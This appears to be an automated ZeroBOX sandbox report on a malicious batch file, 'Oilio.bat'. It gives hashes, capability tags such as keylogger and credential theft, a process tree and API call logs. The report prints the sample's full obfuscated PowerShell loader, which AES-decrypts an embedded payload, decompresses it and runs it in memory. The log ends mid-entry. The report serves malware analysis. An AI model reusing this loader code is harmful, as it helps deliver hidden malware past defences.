popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Oilio.bat

Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger Internet API Sniff Audio DNS Http API Steal credential ScreenShot P2P AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 May 2, 2023, 9:51 a.m. May 2, 2023, 9:53 a.m.
Size 238.9KB
Type DOS batch file, ASCII text, with very long lines, with CRLF line terminators
MD5 5ca1e10316dbc25689e663dc437e79c9
SHA256 3a0b5ceb07ec3aa59f2fe3145da6eb72e2074b8705530a3ff14ab626a883c009
CRC32 DBC9CFDB
ssdeep 6144:FNrM3q37s8ZMGcBW7mB8aOKHXa51107KR4eXWjlOTp1Bm:rrM3OgsC7Calo110umipq
Yara None matched

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "AuvpcXgt" C:\Users\test22\AppData\Local\Temp\Oilio.bat

    3048

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Oilio.bat

      2196

      • Oilio.bat.exe "Oilio.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $urZHd = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\test22\AppData\Local\Temp\Oilio.bat').Split([Environment]::NewLine);foreach ($EFnMC in $urZHd) { if ($EFnMC.StartsWith(':: ')) { $OGzOA = $EFnMC.Substring(3); break; }; };$yIUDK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OGzOA);$aswXm = New-Object System.Security.Cryptography.AesManaged;$aswXm.Mode = [System.Security.Cryptography.CipherMode]::CBC;$aswXm.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$aswXm.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qneMroGqjggrncG0xD1xcKiXSXA85XDHECir8urE1+M=');$aswXm.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gcQez9Zv7eaIgRi2zxpN+A==');$kfDyP = $aswXm.CreateDecryptor();$yIUDK = $kfDyP.TransformFinalBlock($yIUDK, 0, $yIUDK.Length);$kfDyP.Dispose();$aswXm.Dispose();$OJbGi = New-Object System.IO.MemoryStream(, $yIUDK);$hPrzb = New-Object System.IO.MemoryStream;$aoQdl = New-Object System.IO.Compression.GZipStream($OJbGi, [IO.Compression.CompressionMode]::Decompress);$aoQdl.CopyTo($hPrzb);$aoQdl.Dispose();$OJbGi.Dispose();$hPrzb.Dispose();$yIUDK = $hPrzb.ToArray();$VVTzl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($yIUDK);$yWkXW = $VVTzl.EntryPoint;$sdfweweefsd_var = $qwwfefdsf_var.EntryPoint;$sdfwewewefefsd_var = $qwwfefwefdsweff_var.EntryPoint;$sdfwewwefeefsd_var = $qwwfefwfwefwefdsf_var.EntryPoint;$sdfwewwefwefeefsd_var = $qwwfwwefefefdsf_var.EntryPoint;$sdfwewwfewefefsd_var = $qwwfefwefwefdsf_var.EntryPoint;$sdfwewfwqwefefefsd_var = $qwwfeweffwefdsf_var.EntryPoint;$sdfwewwfewfeefsd_var = $qwwfewfwefefdsf_var.EntryPoint;$sdfwewefwwfeefsd_var = $qwwfefwwfefdsf_var.EntryPoint;$sdfwewdefweefsd_var = $qwwfewewfffdsf_var.EntryPoint;$sdfwewsewefefsd_var = $qwwfefqdwefdsf_var.EntryPoint;$sdfwwef23eweefsd_var = $qwwfwefeerwfgfdsf_var.EntryPoint;$sdfwwef23deweefsd_var = $qwwfwedfwefefdsf_var.EntryPoint;$sdfwwef23feweefsd_var = $qwwfwefeeweffgdsf_var.EntryPoint;$sdfwwef23s12eweefsd_var = $qwwfwefewfeffdsf_var.EntryPoint;$sdfwwef23wefeweefsd_var = $qwwfwefefswfdsf_var.EntryPoint;$yWkXW.Invoke($null, (, [string[]] ('')))

        1684

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The filename, directory name, or volume label syntax is incorrect.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: There are no entries in the list.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Unexpected token '(' in expression or statement.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: At line:1 char:62
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: + $urZHd = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')( <<<< 'C:\Users\
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: test22\AppData\Local\Temp\Oilio.bat').Split([Environment]::NewLine);foreach ($E
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: FnMC in $urZHd) { if ($EFnMC.StartsWith(':: ')) { $OGzOA = $EFnMC.Substring(3);
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: break; }; };$yIUDK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')(
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $OGzOA);$aswXm = New-Object System.Security.Cryptography.AesManaged;$aswXm.Mode
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: = [System.Security.Cryptography.CipherMode]::CBC;$aswXm.Padding = [System.Secu
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: rity.Cryptography.PaddingMode]::PKCS7;$aswXm.Key = [System.Convert]::('gnirtS46
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: esaBmorF'[-1..-16] -join '')('qneMroGqjggrncG0xD1xcKiXSXA85XDHECir8urE1+M=');$a
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: swXm.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gcQez9Zv7ea
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: IgRi2zxpN+A==');$kfDyP = $aswXm.CreateDecryptor();$yIUDK = $kfDyP.TransformFina
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: lBlock($yIUDK, 0, $yIUDK.Length);$kfDyP.Dispose();$aswXm.Dispose();$OJbGi = New
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: -Object System.IO.MemoryStream(, $yIUDK);$hPrzb = New-Object System.IO.MemorySt
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: ream;$aoQdl = New-Object System.IO.Compression.GZipStream($OJbGi, [IO.Compressi
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: on.CompressionMode]::Decompress);$aoQdl.CopyTo($hPrzb);$aoQdl.Dispose();$OJbGi.
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: Dispose();$hPrzb.Dispose();$yIUDK = $hPrzb.ToArray();$VVTzl = [System.Reflectio
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: n.Assembly]::('daoL'[-1..-4] -join '')($yIUDK);$yWkXW = $VVTzl.EntryPoint;$sdfw
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: eweefsd_var = $qwwfefdsf_var.EntryPoint;$sdfwewewefefsd_var = $qwwfefwefdsweff_
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: var.EntryPoint;$sdfwewwefeefsd_var = $qwwfefwfwefwefdsf_var.EntryPoint;$sdfweww
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: efwefeefsd_var = $qwwfwwefefefdsf_var.EntryPoint;$sdfwewwfewefefsd_var = $qwwfe
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: fwefwefdsf_var.EntryPoint;$sdfwewfwqwefefefsd_var = $qwwfeweffwefdsf_var.EntryP
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: oint;$sdfwewwfewfeefsd_var = $qwwfewfwefefdsf_var.EntryPoint;$sdfwewefwwfeefsd_
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: var = $qwwfefwwfefdsf_var.EntryPoint;$sdfwewdefweefsd_var = $qwwfewewfffdsf_var
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: .EntryPoint;$sdfwewsewefefsd_var = $qwwfefqdwefdsf_var.EntryPoint;$sdfwwef23ewe
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: efsd_var = $qwwfwefeerwfgfdsf_var.EntryPoint;$sdfwwef23deweefsd_var = $qwwfwedf
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: wefefdsf_var.EntryPoint;$sdfwwef23feweefsd_var = $qwwfwefeeweffgdsf_var.EntryPo
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: int;$sdfwwef23s12eweefsd_var = $qwwfwefewfeffdsf_var.EntryPoint;$sdfwwef23wefew
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: eefsd_var = $qwwfwefefswfdsf_var.EntryPoint;$yWkXW.Invoke($null, (, [string[]]
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: ((:String) [], ParentContainsErrorR
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : UnexpectedToken
console_handle: 0x000001a3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab4d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab9d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aac58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ab318
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003aba58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1684
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73ab1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1684
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73ab2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02702000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02703000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02704000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02705000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02706000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02707000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02708000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02709000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05120000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05121000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05122000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05123000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05124000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05125000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05126000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05127000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05128000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05129000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0512f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1684
region_size: 4096
stack_dep_bypass: 0
